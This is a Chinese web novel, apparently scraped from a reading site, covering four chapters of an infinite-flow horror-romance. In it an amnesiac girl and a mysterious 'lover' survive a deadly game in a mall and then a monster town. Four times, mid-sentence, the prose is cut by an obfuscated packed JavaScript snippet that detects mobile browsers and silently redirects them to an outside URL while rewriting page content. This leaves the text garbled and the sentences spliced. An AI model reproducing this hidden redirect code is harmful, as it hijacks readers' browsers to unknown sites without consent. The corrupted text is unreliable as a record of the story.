《红狐的宝藏[无限]》 1. 失忆 天空灰蒙蒙,四周像笼罩在一片灰暗的雾气中,让人看不清周围的景物。 在这个让人感到心情压抑难受的环境里,却有一团“火”跳动着,那鲜艳的红色像充满生机与朝气的火焰,与周围的环境格格不入。 那温暖鲜红的颜色是女孩身上的衣裙,红色的短袖上衣配上罩着一层淡红色轻纱宛若花朵般绽放的鲜红短裙,如玫瑰花般艳丽又如火焰般灿烂。 女孩茫然地望着四周,她的记忆似乎被一层白雾笼罩,朦朦胧胧,看不清晰。 她想了想,只想起来她的名字,她叫绯真。 她为什么会在这个陌生又奇怪的地方? 绯真暂时想不起来。 四周的环境昏暗,又有大雾弥漫,她看不清楚周围的景物,但隐约能察觉到雾气的背后隐藏了不少东西。 或许她往前走能得到解惑。 绯真往前走了一步,忽然顿住,她转身看向身后。 那里视线范围内什么也没有,也没有任何声音。 直觉告诉绯真,那里有人在走过来。 她等了等,几分钟过去了,人影却没有出现在她的视线中。 有点奇怪啊,是那人往其他方向走了吗? 绯真不再继续等,转身离开。 她的目标是前方视线里那幢隐约可见的建筑物,既然有建筑物,那里面应该能遇到人吧? 几息后,一个沉默的人影从绯真停留的地方走过。 走近后,绯真看清了,那是一座商场,从外面看灯都没有打开,但一走进去,就发现里面灯光十分明亮。 她甚至还听见了从二楼传来的脚步声。 门外空旷安静又诡异,门内完全不一样,多了几分活人的气息。 二楼一家餐厅门口,绯真看见了其他人类。 坐在餐厅大门口的壮汉一看见绯真从电梯上来,就立即开口说道:“第十个人了,这里的游戏要开始了。” “游戏?”什么游戏? 绯真疑惑。 注意到绯真疑惑的眼神,壮汉旁边坐着的短发女人开口解惑道:“你是新人吗?《血色恐怖》的景点内一旦人数到达十人,就会自动开启副本游戏,只有完成副本游戏才能从景点离开。” 绯真微微点头。 《血色恐怖》听起来很耳熟啊。 吹着口香糖的运动服少年急躁地踱步,“不知道这次的副本游戏会是什么?希望不要太难。” “你们快看中庭上悬挂的彩带!”站在另一边的娃娃脸女孩率先发现了异常,指着彩带上的字大喊。 【真假同伴:找到隐藏在你们中的躲藏者。】 这就是游戏规则吗? 绯真记得她刚进来时并没有在彩带上看见字,看来短发女人说的没错,满足人数才会开启副本游戏。 “我想大家现在肯定都觉得自己没有问题,我们也没必要那么着急找躲藏者,我们现在分组行动,先去找出口。”壮汉像个指挥者一样又开口说道。 绯真发现没人对壮汉的话提出异议,而且大家似乎早有默契,在她到来前,就有意识找好了队友。 壮汉和短发女人,运动服少年和他的同风格好兄弟,娃娃脸女孩和另一个卷发女孩,还有一对穿着同款服装的双胞胎。 大家的年龄估摸着都在十八到四十的范围内,壮汉那一组看起来最年长,像三十多了。 运动服少年组合看起来最年轻,像是刚成年。 绯真看了一圈发现了一个奇怪的事情。 不是十个人吗? 加上她不是才九个人吗? “既然没有异议,那就都两人一组,有什么发现来这里集合。” “两人一组?”绯真意识到了什么,她转头,身后不知何时多了一个人。 一个穿着黑色皮革披肩,腰间缠了一圈银制装饰品的俊美青年,微长的头发高高束起,散落的碎发狂野地落在肩上。 黑色的皮革披肩里是一件贴身的黑色皮衣,黑色皮衣勾勒出男人完美的八块腹肌。 像一个隐藏于暗夜中的捕食者,散发着危险又强大的气息。 捕食者那张冷淡的脸突然朝绯真笑了。 微微歪头,带着笑意的眼神注视着绯真,嘴角一侧微钩,整个动作流畅自然,带着一丝狂野与魅惑。 绯真不得不承认,刚刚那个笑容真的很迷人,像狐狸一样触人心弦。 笑容冲散了危险,带来了迷惑人心的气息,他亲昵地伸手去拍绯真的肩膀。 “我终于找到你了!” 帅哥的笑容很魅惑迷人,但是初次见面也不用那么自来熟,绯真伸手挡了一下,她笑着问道:“我们认识吗?” 为什么这人的行为像是他们认识一样? “你忘记我了吗?”男人的眼里露出了一丝受伤,像一只可怜巴巴的大猫。 他看向绯真右耳边的发饰,“绯真,我是琥玠啊!你忘了吗,你头发上的红狐狸发饰是我送你的礼物,我手上的匕首是你送我的礼物啊?” 琥玠拔出腰间别着的一把黑色匕首,匕首样式普通,但上面绘制了暗金色的虎纹,刚才琥玠拔出时空气中隐隐有虎啸之音,显然不是凡品。 绯真取下了头发上的红狐狸发饰,绸缎般光滑的黑色长发散落。 那是用婴儿拳头大小的红宝石雕刻成狐狸模样的发饰,一点不比琥玠拿出来的匕首差。 绯真看了看手上的红狐狸发饰,又看了看琥玠手里的黑色匕首,她疑惑地问道:“所以你是?” “我是琥玠啊,你的恋人。”琥玠帅气地捋了一把额前的碎发,单膝跪地,戴着黑色露指皮手套的右手牵起绯真的右手贴近了他的唇边,脑袋微微抬起,眼里满满都是希望绯真想起他的期待。 绯真感觉心脏受到了暴击。 但是这一时的冲击还不足以摧毁她的理智,她内心对此保持怀疑。 脸上带着笑又带着一丝疑惑,“啊?” 这是今天第二件让绯真感到吃惊的事情。 第一件就是她可能失忆了。 “我......想不起来了。”绯真用真诚回应琥玠的期待。 “我相信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482752|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会想起来。”琥玠自信地笑道。 绯真点头,她收回了手,手背上似乎还有一丝陌生的触感,“没错,我一定会想起来。” 绯真笑了笑,她移开了视线,看向周围。 “这里是哪里?” “《血色恐怖》,之前你邀请我一起玩这个游戏,没想到游戏通关后会被邀请到这个游戏里继续玩。” 即使绯真说她都忘记了,她的态度变得疏离,琥玠也没有放弃,紧跟着绯真,他的眼里只有面前这个如火焰般明亮的女孩。 那是这个诡异世界最明亮的光芒,那是属于他的光芒。 “离开这个世界需要找到最终之门和黄金钥匙,据说只要一直往前走,就有可能找到。” “食物和水只有景点才有,进入景点就必须完成副本游戏才能离开,开启副本游戏有人数限制,即使完成了副本游戏还必须走正确的出口才能离开景点,这些都是我在找到你之前,一个遇见的玩家告诉我的。” 知道绯真什么都不记得了,琥玠把他知道的信息告诉了绯真。 “居然是我邀请你一起玩这个游戏的吗?”绯真惊讶,又是交换礼物,又是一起玩游戏,听起来他们似乎真的认识,而且关系还不错。 她看了一眼手里的红狐狸发饰,重新别在了头发上,又看了一眼面前这个透着狂野魅惑气息的男人。 黑宝石般的眼珠灵动地转动,带着一丝调皮,她笑道:“我决定相信你说的话。” “我就知道你会相信我。”琥玠双手抱胸,歪头冲着绯真勾唇。 又是这个笑容,绯真怀疑琥玠是不是对着镜子练习过无数遍,不然他为什么每次都能笑得那么勾人。 冲着这个看一次忍不住心动一次的笑容,绯真就觉得信一次也可以。 这个在其他男人身上有些油腻做作的行为,在琥玠身上却没有一丝违和感,不会让人感到一丝不适,只有满满的喜欢溢出来。 当然她不可能为美色昏头,美男计对她可不管用。 “啊——!” 楼上尖叫声突然响起,分散开的玩家们因此再次聚集到一块。 躺在地上的人是那个吹口香糖的运动服少年,他闭着眼睛躺在地上一动不动。 脖子上的掐痕一目了然,再看少年的脸色,显然已经断气。 “发生了什么事?”绯真看向蹲在尸体旁边的另一名少年,他俩之前一起行动,看起来又像是认识的人。 那名少年像是被眼前的场景吓傻了,没有任何反应。 “小莱应该是被吓到了,他暂时发不出声音了。”费晴虹和武发先赶到,已经询问过情况,她替小莱解释道。 绯真看向短发女人,她注意到对方的同伴没站在旁边,而是站在几米远外抓着扶手往下望去。 那人在看什么? “这是死人了吗?”来的是那对双胞胎,开口的是双胞胎中的男生,语气淡淡,像是见惯了这种事情。 “弟弟,这么快就出现了第一个死人,这可不是什么好事。”女生皱眉。 男生听完也皱眉。 2. 异常 “不是弟弟,是哥哥。”詹奇强调了一句,然后才接着詹敏的话题说下去,“的确太快了,看来这个景点很危险。” “是那个躲藏者做的吗?”最后一组也赶到了,娃娃脸女孩目光警惕地扫了一圈,尤其是几个身强体壮的男生引起了她很大的戒备。 卷发女孩和娃娃脸手拉着手,两人站在远离人群的位置,等着其他人的回答。 这两人的戒备太显眼了,但这里没有人在意。 绯真的目光落在地上的少年青紫色的掐痕上,那里只有一道手指粗的掐痕,看不出来手掌的痕迹。 说是掐死,或许更像是用粗麻绳勒死。 真真假假、虚虚实实,一时难以分辨。 唯一知道点情况的小莱偏偏又像是吓傻了,还暂时无法说话。 这会不会太巧了? “有没有可能小莱就是躲藏者?不然为什么两个人一组,小莱却没有受一点伤?” 无论小莱是装傻还是真傻,刺激一下总会有点反应。 费晴虹看向小莱,小莱还是那副魂游天外、半死不活的模样。 “不是没有可能,但也有可能......” 费晴虹的话被打断了。 武发快步走了过来,他提醒了众人一件事,“我看见一楼大厅那边有人影,现在在这里的人不止十个,至少是十一个人。” “十一个人?你确定你看见的是人吗?”这个奇怪的地方让绯真感觉除了人类以外还存在其他活物。 “是人,我看见了背影。”武发几乎没有迟疑,就直接给出了肯定。 “你们说完了吗?”娃娃脸女孩提醒道,“躲藏者也有可能就在我们中间,他已经动手杀了一个人,接下来很快就会轮到我们,我们现在是不是该表明一下身份,方便大家找到那个躲藏者?” “表明身份?”詹奇诧异地笑了一声,“那不如你先介绍一下自己。” “这个时候要求大家表明身份,你很可疑啊。”詹敏说道。 “我只是说出了自己的意见而已。”娃娃脸女孩争辩。 “你觉得躲藏者在这里吗?”绯真一个人都不认识,她也不在意躲藏者在不在这群玩家里。 游戏才刚开始,总感觉没那么快结束。 “是谁都无所谓,如果躲藏者来找我,那就简单了。”琥玠自信地笑道。 “你对自己的实力很有信心啊。”绯真转头,看见琥玠在看她。 “当然。” “一个寻找与躲藏的游戏为什么会死人呢?”绯真转头看向地上的尸体。 不知道是不是错觉,她好像看见尸体的手指动了一下。 “你没玩过《血色恐怖》吗?”詹敏怀疑的目光望了过来。 “别说废话了,能不能说点有用的信息?”她玩没玩过和这次副本游戏有关系吗? “大家有找到出口在哪吗?”眼看气氛要变僵硬,武发换了一个大家都会关心的话题。 没人回答。 或许是没有找到,又或许是谁找到了却不愿意说。 话题再一次掉在了地上,这次没有人再去捡起来。 反而陆陆续续有人离开。 绯真和琥玠去了商场入口处,当时她从那边的门进来,难道不能再原路出去吗? 结果到了那里,就看见门从里侧被人用铁链锁上了。 不知道是谁做的,但那人肯定还在商场里。 绯真伸手推了一把,耳边响起铁链碰撞发出的哗啦啦声。 透过玻璃门看向外面,外面依旧笼罩在一片灰暗的雾气中,什么也看不清。 “门被锁上了,这是要去找钥匙吗?”绯真自言自语了一句,转头看向一直安静跟着她的琥玠,“你的匕首能斩断这铁链吗?” “应该可以。”琥玠抽出匕首,对着铁链一划,接着就是一阵重物摔落的声音响起,地上多了一堆断裂的铁链。 锁着大门的铁链解决了,门却仍然打不开。 无论怎么推拉都纹丝不动。 “这门有这么难开吗?要不......”绯真右手五指伸展合拢,活动了几下。 她准备砸门试试,门上是玻璃,隐约可见背后的情况。 一旦多了一个人,自然就从玻璃上显露出来了。 绯真回头,看见来人十分惊讶。 “你还是人类吗?” 青紫色的面颊,肿胀的脖子,跌跌撞撞像喝醉般的步伐。 与其说是诈尸,更像是被什么东西操纵着。 对方走了几步后就停下了,脖子像断掉一样垂了下来,脑袋几乎转了半个圈。 这怎么看都不正常。 “噗!”一个口香糖吹出来的泡泡突然出现又突然破碎。 只是这样的声音不止这里一处,从其他地方还有类似的声音传来。 对方像是特意来绯真面前吹泡泡,做完这件事,立马就倒了下去,以一种身躯躺在地上,双脚后挪的怪异姿势往远处飞快离开。 “他这是变成了怪物吗?难道死了就会变成怪物?” “那就别死。”琥玠语气略带嚣张,充满了自信。 “救命!”“救命!” 来自各个方向的呼救声此起彼伏,在商场里形成了回音。 只听声音就至少有六个人在呼救,这几乎是他们剩余玩家的人数了。 “怎么会来自各个方向?不是两人一组行动,难道都分开了?”绯真感到奇怪,她之前看其他组的人感觉都像是互相认识的人,在发现有人死了的情况下,大家还会分开行动吗? “说不定这是一个诡计,就像刚才那个怪物。”琥玠提醒道。 “怪物啊,这游戏里原来有怪物啊。”绯真想到了一件事,“躲藏者也可能是怪物,它并没有藏在我们之中,我们可能从一开始就找错了方向。” 绯真说完就感觉到脚下似乎震动了一下。 地面有什么问题吗? 她低头看去,色彩斑驳的地砖在微微起伏,失去了冰冷的触感,像多了一层血肉的温度。 来自四面八方的呼救声恰好在此时消失了。 一瞬间变得十分安静,类似心脏跳动的声音就变得异常响亮。 像是巨型心脏在跳动,一下又一下砸在商场的地上。 绯真又感觉到了地面的震动。 这次的震动指向了商场的某处。 绯真回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482753|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼打不开的大门,看向震动传来的方向,“要不去看看?” “好啊。”琥玠爽快应下。 转过一个弯,绯真停下了脚步,她看见两个女孩互掐着脖子感到十分不解,她快步过去,一手一个拉开了人。 动作轻轻松松,两个女孩还没反应过来就被分开了。 “你们这是在做什么?” “咳咳咳,她是躲藏者!” “咳咳咳,我不是,她是躲藏者!” “咳咳咳,别听她的,她不承认没事,杀了躲藏者也能完成游戏!” 两人纷纷指控对方才是躲藏者,看向对方的眼神里都充满了厌恶。 “不是只要找出躲藏者就行吗?”绯真又不是没有亲眼看见游戏规则,对于卷发女孩说要杀死躲藏者的话,她感到疑惑。 “找出躲藏者只是完成副本游戏,这座商场能离开的出口只有进来的大门,大门根本打不开,但是躲藏者死了就不一样了。”卷发女孩坚持道,她甚至在绯真思考的时候试图再次冲过去掐娃娃脸女孩的脖子。 绯真拦了一下,她盯着两人看了一会,忽然笑道:“真的是这样吗?” 她感觉到了卷发女孩话语中的虚假,卷发女孩在撒谎。 “当然是真的,只不过她是真正的躲藏者。”娃娃脸女孩指着卷发女孩说道。 “有件事我很好奇,你们可以先回答我吗?” “什么事情?”娃娃脸女孩躲在绯真身后,她的力气比卷发女孩小些,有绯真挡着,她稍微放心些。 “你们之前不是关系很好吗?为什么现在眼里都恨不得对方去死?我想听真话。” “我告诉你原因,你会帮我吗?”娃娃脸女孩愤怒地瞪了卷发女孩一眼,她低声说道:“她......” “是茜茜,是她抢走了我的男友,然后让小莱杀死了他!”卷发女孩眼底的恨意十分浓烈。 “是彤彤你欺骗了他,是你害他被小莱杀了!”茜茜同样愤恨地喊了回去。 绯真感觉到了不对劲。 两人的情绪都十分强烈,但是不久之前,她俩好姐妹一样手拉着手,完全看不出会变成现在这幅反目成仇的模样。 “小莱是那个据说受到惊吓暂时说不出话的男生吗?”那这两人说的死去的男友是第一个死去的男生? 这四人其实都认识? “对。”两个女孩一致点头。 “我不认识......” “砰!” 从上方传来的话戛然而止,紧接着是一声重物摔落的声响。 绯真没想到周围还有其他人在,还听见了她们的对话,只是最后那摔落的声响是怎么回事? 她快速跑了过去,然后就看见了躺在商场中央地板上的一团人影。 血从对方身下弥漫开去。 那个位置明显是从上方的扶栏处掉下来,而且是被人故意推下去。 摔死的人正是刚巧提到的小莱,他不甘地睁着眼睛失去了生命的活力。 小莱在这个时间死去,像极了有人在杀人灭口。 绯真抬头看向小莱摔下来的方向。 “啊!”充满痛苦的尖叫声从上方传来。 3. 谎言 费晴虹站在三楼扶手旁,低头看着小莱的方向,双手抓着头发满脸痛苦。 “小弟!不,你怎么能对小弟动手!”充满痛苦的指责声转向一侧,接着就是打斗和奔跑的声音。 然后费晴虹从三楼摔了下来。 她整个人背对着三楼的栏杆从中庭摔了下来,左手差一点就勾住了栏杆。 这一切像是在再现小莱死去的场景,但费晴虹并没有像小莱一样摔在地上。 她在半空中转了一个圈,双脚落在了地上。 平安无事。 “小弟!大姐一定会为你报仇!”费晴虹冲过去,抓着小莱沾血的破碎衣角愤怒地喊道。 “谁叫他偷我的东西,老子最讨厌小偷了!”武发的脸从上方探出,语气恶狠狠道。 绯真不知道他们遇到了什么,但现在这情况明显不对劲,这一个个情绪激动都像变了个人一样。 好像每一组都在反目成仇。 那对双胞胎呢?又去哪了? “游戏里有什么东西能让人性情大变吗?”绯真不相信这里的人会正巧各自都有关联。 十个人里六个人相互有关联,这...... 双胞胎就在这时赶到,显然是被这里的动静吸引过来。 两人看着没什么变化,但詹敏却直接冲着费晴虹跑去,嘴里还大喊:“大姐,我才是你的小妹!小莱是假的!” “你才是?”费晴虹因为愤怒充血的目光多了一丝迷茫,她下意识看向詹敏身后的詹奇,却正好看见詹奇从衣服里掏出了刀子,“小心身后!” 詹奇的刀子并没有朝詹敏挥去,他的攻击目标出乎所有人预料。 詹奇捅了他自己一刀,刀就插在肚子里,他疯狂大笑:“一群精神病,我不陪你们玩了!” “这地方有问题,不能久待。”琥玠护在绯真面前,防止面前这群莫名其妙发疯的人跑过来伤到她。 “说谁精神病?你才是精神病!”武发从楼上扔下来了一样东西,那东西在半空中瞬间就炸开了。 商场瞬息间像块脆弱的豆腐坍塌了。 尘埃落定,地上只剩下一堆废墟,和一扇完好的玻璃大门。 那地方正好是原本商场大门所在的位置。 废墟里有石块滚落,像是有人在底下努力爬出来。 在爆炸和坍塌中完好无损的玻璃大门,在这一丝轻微的动静中碎裂了。 头顶上最后一块碍事的石块被推开后,外面的阳光照了进去。 原本灰暗的雾气不知何时消散了,带着暖意的阳光洒落在了地面上。 一只白嫩嫩的手从废墟里伸了出来。 接着是第二只、第三只......第六只手。 这是一个拥有六只手臂、短发卷边、发梢垂落在肩部的圆脸女孩。 女孩的脖子上戴着一条黑色蕾丝项圈,她疑惑地站在废墟上,周围空无一人。 “奇怪了,人去哪了?” 隔壁街道上,绯真和琥玠被一大群“人”包围住了。 她感觉只是眨了一下眼睛,就从倒塌的商场里消失,然后出现在了这里。 面前这些长得奇奇怪怪,完全和人类不同的“人”全都目光热情地盯着她。 站在最前面的是一个很大的鳄鱼脑袋,脑袋上还围了一条深紫色的围巾。 琥玠站在中间,阻止了鳄鱼脑袋继续靠近。 “绯真,我是鳄叔叔,你小的时候还经常去看你,你不记得叔叔了吗?”鳄鱼脑袋说着就流下了一滴眼泪。 它又甩了下脑袋上的围巾,围巾飘起像是指了一圈,“听说你遇到危险,我们立即就赶来帮你了,它们都是你的邻居,你也忘记了吗?” 所以是它们把她和琥玠从坍塌的商场里转移到了这里? “真的吗?”绯真觉得这太奇怪了,居然有一群长得像怪物的人来攀关系。 “假的。”琥玠斩钉截铁地说道,“我们相识多年,我就没见过它们。” “相识多年。”绯真轻声念了一遍,她怎么就不信呢。 “你们为什么和我们长得不一样?”她就没在这群所谓的邻居里看见一点和人类相似的部位。 之前在商场里遇到的那群人才更像是她的同类啊。 “因为你吃了变形果,变形果可以改变你的模样。”鳄鱼脑袋忽然往右方看了一眼,“天色不早了,你快回家去,你爸妈一定等急了,你家是蘑菇街红色蘑菇房子,不要走错了。” “是啊,是啊,是蘑菇街红色蘑菇房子,不要走错啦。”其他“人”纷纷应和道。 接着“人”群让出了一条路。 缠着褐色绑带的骷髅怪、飘浮在半空中双眼冒着幽蓝色火焰的南瓜灯、肉块挤压在一起的高大肉块...... 这些奇奇怪怪的家伙挡住了绯真看向身后的视线。 它们像一堵墙一样站在那里,像是在阻止什么。 “快走吧,不然天黑就危险了。”鳄鱼脑袋催促道。 明亮的天空突然暗淡了几分,就像是在应和鳄鱼脑袋的话。 “天黑会有什么危险?” “快走吧。”“快走吧。”鳄鱼脑袋莫名变成了复读机,只会重复这一句话。 “它们为什么会说是我的邻居,这很容易被人发现是在撒谎,难道它们早就知道我失忆了?”走远后,绯真看着琥玠说出了疑惑。 “你失忆的事情除了我还有谁知道吗?” “还有......我忘了。”绯真白了琥玠一眼,“你问了一个蠢问题。” “那估计就和这个游戏各种稀奇古怪的道具有关。”琥玠摸了摸后脑袋,“其实这游戏我也没玩过几次,还是和你在电脑上一起玩,现在估计也会有些区别,但当时我看见你用过一些游戏道具。” “你发现游戏和这里有什么不一样?”绯真注意到琥玠说的是也会有些区别。 “景点的副本游戏,电脑上不完成副本游戏无法离开景点,但现在景点倒塌,我们出来了。” 这的确很不一样。 “道具怎么获得?” “找。”琥玠望着空无一人的街道说道,“还有一种更简单的办法,找宝物商人山槐购买。” “山槐在哪?” 绯真没听见回答,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482754|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑惑地看向琥玠,“你也不知道吗?” “据说山槐经常会出现在各个街道上,运气好就会遇上。” “那就是行踪不定啊。”只是这个名字她好像在哪里听到过,是以前在电脑上玩《血色恐怖》时听说过这个名字吗? “一直往前走,很快经过一个小区,小区里各种颜色的蘑菇房子都有,其中最醒目的房子就是小区正中央那座最大的红色蘑菇房子。 “你要去红色蘑菇房子吗?” “去看看,至少能知道鳄鱼脑袋为什么骗我。”绯真乐观地想道,“万一运气好,说不定能找到道具或者离开这里的线索。” 大概知道绯真要来,这座十米高的红色蘑菇房的大门没锁,绯真伸手一推就推开了。 房子外面是巨型蘑菇的形状,没想到屋内的家具却很正常,和普通人类使用的家具一样。 房子很大很干净,布置很简单,灯全都亮着,瞬间把外面暗淡下来的天色比了下去。 “这里的时间也不太正常。”绯真站在门口,回头看见外面的天一瞬间变黑了。 门无风自动,啪一下关上了。 同时屋里响起了两道不同的声音,一道沙哑的男声,一道低沉的女声。 “欢迎回家,孩子。”两道声音同时说道,“也欢迎你带朋友回来。” 绯真环顾一圈,没找到声音的主人在哪。 “你们是谁啊,不出来让我见见吗?” “孩子,厨房里给你准备了晚饭,记得吃完。”说话的是那道低沉的女声,但她并没有回答绯真的话。 琥玠碰了一下绯真的胳膊,示意她看向上方的天花板。 明亮的天花板上有一团灰色的影子在悄悄挪动。 “是它在说话?” 绯真的话似乎惊到了对方,那团灰色的影子嗖地一下钻入墙角消失了。 “看来对方不敢出来。”琥玠嘲笑了一声。 “先去厨房看看。”绯真有点好奇对方准备的晚饭是什么。 厨房很正常,就是放在厨房桌子上的食物让人觉得不正常。 有黑乎乎的不知名淤泥状食物,也有散发着焦味与苦味的形状古怪的馒头,还有一大碗感觉喝了就会立马咽气的深紫色毒虫汤。 旁边放着一张纸条,上面写着:给可爱的宝宝。 “给可爱的宝宝。”琥玠看着纸条大声读了一遍。 “!”绯真语气十分确定地说道,“这绝对不会是人吃的东西,我们肯定是无意中进入了新的景点,这次的副本游戏叫扮演宝宝!” “是这样吗?”琥玠歪头看向绯真,面露一丝疑惑。 “不是你说只有景点才有食物和水吗?你这么快就忘记了吗?”绯真在厨房翻找,很快就找到了一袋大米,一块新鲜的五花肉和一坛子酸菜。 “你看,这些不就是食物吗?” “可是人数不对啊。”琥玠刚说完,敲门声就响起来了。 “来了?” 就这么一会功夫,敲门声变得急促了。 绯真走出厨房,过去开门,门一打开,她就被三只右手抓住了左手臂。 4. 宝藏 看见大门打开,蛛蛛神色慌张地伸手抓住绯真,“快跟我走,有人要来抓你,我带你去安全的地方!” “你是谁?”绯真的目光扫了一眼左手臂上几乎交叠在一起的三只手,那全来自对面这个陌生的女生。 人的身上会有六只手臂吗? 不过这人至少比鳄鱼脑袋它们长得更像人类。 “我是你的好闺蜜蛛蛛啊!”蜘蛛拉着绯真往外跑,红蘑菇房子外面没有灯光照到的地方黑漆漆一片,像另一个未知的危险之地。 “是吗?”绯真觉得有趣,这样下去她还会遇到多少个认识她的亲友啊。 “你忘记了吗?这点小事不重要,现在避开那些猎人更重要,不然你被抓走会很惨!” “猎人?他们为什么要抓我?”绯真回头看了一眼身后,她看见红蘑菇房子的大门突然关上,正好拦住了琥玠冲出来的身影。 琥玠看着没那么弱,他应该会有办法脱身吧。 “你怎么连这个都忘记了?当然是因为你拥有的宝藏啊!”蛛蛛紧张地转头看了一圈,确定周围没有人,三只右手紧紧地抓着绯真的左手臂,急匆匆地往前走。 “宝藏?”绯真惊讶,她笑道,“我怎么不知道我拥有宝藏啊?” 蛛蛛摇摇头,显然并不相信绯真的话。 绯真又回头看了一眼,红蘑菇房子里散发出的灯光越来越远了。 周围漆黑的环境下,隐约可见分布着不少建筑。 蛛蛛带着绯真走进了其中一幢楼,“我听说你失忆了,没想到你连宝藏都忘记了,没关系,蛛蛛会保护你。” 大楼里似乎没人,蛛蛛进去后也没有开灯,凭借着窗外微弱的光线,蛛蛛带着绯真走向其中一间教室。 “蛛蛛,那你先和我说说宝藏啊。” “你以前告诉过我,宝藏是一笔钱,你放心,我对钱没有兴趣,对我来说,绯真你更重要。” 蛛蛛拉着绯真停在了一间教室外面,透过窗户,可以看见这会教室里坐着一个人。 一个脸色白得像刷了白漆,嘴唇红艳像涂了血,头发长到拖地的女孩。 看上去像是在写作业。 深夜、空旷的教室、诡异的女孩,怎么看都觉得不对劲。 “为什么来这里?” 蛛蛛带她过来,在这里停下脚步,这里应该就是目的地了。 绯真甩了下手,甩开了蛛蛛的三只手,既然到地方了,就没必要配合了。 “因为这里很安全,尤页在这里,很少有猎人能摆脱尤页布置的困局。”蛛蛛看着教室里的尤页松了一口气。 一声叹气却从背后传来。 绯真转身,一点也不意外身后多出了一个“人”。 “你们能不能帮帮我,明天早上就要交作业了,我的作业还没有完成。”这人长得和教室里的尤页一模一样,唯一不一样的地方,大概是这个尤页的表情看起来比教室里那个要生动些? “尤页,你不能去找那些猎人来帮你做作业吗?”蛛蛛挥了下手臂,三只手臂挡住了尤页继续靠近绯真。 “他们根本不懂,我这次的作业再交不上去,就要被作业组长骂死了。”尤页惨白的脸靠近绯真,“看来我们是、前后桌的份上,绯真帮帮忙好吗?” “前后桌?”绯真惊讶地笑了,“我还以为你要说我们是同桌,那我也要做作业吗?” 尤页和蛛蛛在昏暗的视线中交换了一个眼神。 “绯真,大家的个人作业都不一样,你的作业不是早就完成了吗?你又忘记啦。”蛛蛛替绯真掩护道。 “你的作业是什么,一定很难吧?” 尤页摇摇头,“我也不知道,我把作业本弄丢了。” 尤页指指教室里那个自己,“为了不被作业组长发现,我特意弄了一个尤页2号在那里假装做作业。” “......”绯真觉得这出友爱同学戏有点接不下去了,“作业是什么都不知道,那就没有办法了。” “别啊,灰雾区这边经常有自称玩家的猎人晃荡,等来几个玩家,我让他们去找。”尤页可怜兮兮地说着,就是尤页那副模样一点没有可怜的感觉,反而只有恐怖的气氛。 自称玩家的猎人? 蛛蛛说的猎人是指玩家? 那蛛蛛说来抓她的人是玩家? 玩家冲着她手里的宝藏而来,她手里的宝藏只是一笔钱,在这个奇怪的地方只想要一笔钱,而不是更珍贵的游戏道具,怎么觉得那么奇怪呢。 “绯真,你是不是累了?快进去坐会!”蛛蛛注意到绯真的视线,她飞快地打开窗户。 尤页动作迅速地又给关上了,一脸后怕的模样,“不能开窗,要是被尤页2号注意到就麻烦了!” “为什么?”蛛蛛疑惑。 “尤页2号会让她看见的人去做作业,只要被尤页2号抓住,一个也逃不过。”尤页心有余悸地说道。 绯真还以为尤页2号算尤页的分身,现在听起来好像不太一样啊。 防住被尤页2号注意到,三人在窗外蹲下。 “你没有什么东西可以迅速找到你的作业本吗?” 近距离接触后,绯真注意到了蛛蛛脖子上那一丝细微的差异。 黑色蕾丝项圈上下部分的皮肤有一点点不太一样。 “有啊,我才不要用,那太浪费了,让玩家们去找就好啦。”尤页一脸理所当然地说道。 “玩家只需要找到作业本吗?”她应该是玩家吧,但现在莫名其妙混入了诡异的圈子里,她正好多了解下情况。 “那怎么可能,肯定还要帮我完成作业才行啊。”尤页抓了抓头皮,青白色的手指扯到了头发,尤页的表情也没有变化。 尤页垂落在地上的长发悄悄多了一些。 尤页突然想起什么,换了一副笑脸,“当然绯真你如果愿意帮忙,以后你每天的午饭,我全包了。” “你想和绯真一起吃午饭?那是我和绯真的午餐时光!”蛛蛛突然争起宠来。 蛛蛛和尤页就好像绯真真正的同学、闺蜜,那热情劲头让绯真这个没有这段记忆的人都觉得好像真的啊。 “好啦,午饭就算了,你有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482755|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 